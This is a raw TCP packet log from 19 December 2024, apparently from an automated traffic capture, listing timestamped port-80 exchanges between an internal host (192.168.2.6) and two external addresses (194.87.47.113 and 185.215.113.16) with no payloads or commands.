Dec 19, 2024 08:09:38.459438086 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.459636927 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.460403919 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.460575104 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.460640907 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.461466074 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.461571932 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.461620092 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.462485075 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.462594986 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.462762117 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.463541985 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.463655949 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.463707924 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.464627981 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.464740992 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.464831114 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.465677023 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.465776920 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.465857029 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.466718912 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.466837883 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.466878891 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.467768908 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.467894077 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.468260050 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.468822002 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.468915939 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.468965054 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.469877958 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.469980001 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.470021009 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.470951080 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.471009016 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.471805096 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.471980095 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.472079992 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.472181082 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.473041058 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.473184109 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.473222971 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.474086046 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.474158049 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.474246025 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.475181103 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.475250959 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.475590944 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.476214886 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.476330042 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.476368904 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.477250099 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.477361917 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.477401018 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.478307009 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.478435993 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.478475094 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.479352951 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.479506016 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.479549885 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.480406046 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.480498075 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.480540991 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.515304089 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.515381098 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.515428066 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.515847921 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.515923977 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.515997887 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.516892910 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.516972065 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.517189026 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.517971992 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.518029928 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.518160105 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.519059896 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.519138098 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.519278049 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.520025969 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.520129919 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.520201921 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.521157026 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.521301031 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.521352053 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.555651903 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.555669069 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.555727959 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.555931091 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.556032896 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.556083918 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.557014942 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.557128906 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.557183027 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.558046103 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.558151007 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.558564901 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.559097052 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.559215069 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.559262991 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.560143948 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.560235023 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.560308933 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.561456919 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.561526060 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.561590910 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.562309027 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.562338114 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.562412024 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.563349009 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.563504934 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.563905001 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.564392090 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.564534903 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.564578056 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.565392017 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.608706951 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.608731031 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.608745098 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.608829021 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:38.608874083 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.608886957 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.608897924 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.608907938 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.608918905 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:38.608937979 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:38.609011889 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.609030962 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.609061956 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.609066963 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:38.609093904 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:38.635560989 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.635689020 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.635760069 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.636058092 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.636293888 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.636339903 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.636346102 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.637356043 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.637407064 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.637448072 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.638453007 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.638499022 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.638504028 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.638866901 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.639446974 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.639516115 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.639552116 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.640516996 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.640624046 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.640661001 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.641608953 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.641690969 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.642621040 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.642661095 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.642710924 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.643656969 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.643693924 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.643767118 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.643805027 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.644761086 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.644809961 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.645374060 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.645776987 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.645879030 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.646172047 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.646848917 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.646908998 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.646958113 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.647902012 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.648003101 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.648046017 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.648926020 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.649058104 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.649097919 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.649981976 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.650116920 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.650155067 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.651071072 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.651232958 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.651305914 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.652117014 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.652229071 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.652468920 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.653170109 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.653283119 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.653947115 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.654236078 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.654341936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.654565096 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.655339003 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.655405998 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.655455112 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.656344891 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.656534910 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.656604052 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.657432079 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.657573938 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.657615900 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.658463001 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.658567905 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.658915997 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.659497023 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.659607887 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.659657955 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.660621881 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.660717010 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.660890102 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.661597967 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.661734104 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.661775112 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.662647963 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.662755013 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.662862062 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.663701057 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.663805962 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.663849115 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.664771080 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.664875031 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.664918900 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.665829897 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.665926933 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.665975094 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.666868925 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.666982889 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.667030096 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.667920113 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.668035984 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.668083906 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.668946028 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.669066906 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.669121981 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.670017958 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.670144081 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.670202971 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.671094894 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.671211958 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.672143936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.672195911 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.672281981 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.672333956 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.673216105 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.707590103 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.707811117 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.707926989 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.708110094 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.708172083 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.708216906 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.709194899 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.709278107 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.709321976 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.710220098 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.710269928 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.710414886 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.711281061 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.711409092 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.711452007 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.712336063 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.712476015 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.712517023 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.713396072 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.713438988 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.713470936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.728764057 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.728775978 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.728873968 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:38.732819080 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.732909918 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.732985020 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:38.748205900 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.748224020 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.748296022 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.748959064 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.749010086 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.749056101 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.749955893 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.750005960 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.750083923 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.750842094 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.750890970 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.750925064 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.751866102 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.751952887 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.752001047 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.752933025 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.753048897 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.753098965 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.753976107 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.754024982 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.754098892 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.755052090 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.755096912 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.755172014 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.756097078 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.756205082 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.756262064 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.757128000 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.757211924 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.757255077 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.800604105 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.800689936 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:38.800729036 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.800766945 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:38.804816008 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.804924011 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.804982901 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:38.813157082 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.813271046 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.813325882 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:38.821578026 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.821722984 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.821780920 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:38.827820063 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.827913046 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.827976942 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.828134060 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.828247070 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.828291893 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.829226971 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.829273939 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.829324961 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.829879999 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.829921961 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:38.829979897 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.830017090 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:38.830219984 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.830265999 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.830357075 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.831310987 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.831422091 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.831465006 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.832405090 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.832508087 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.832561016 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.833421946 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.833538055 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.833586931 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.834501028 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.834578991 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.834623098 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.835516930 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.835567951 CET	49862	80	192.168.2.6	194.87.47.113
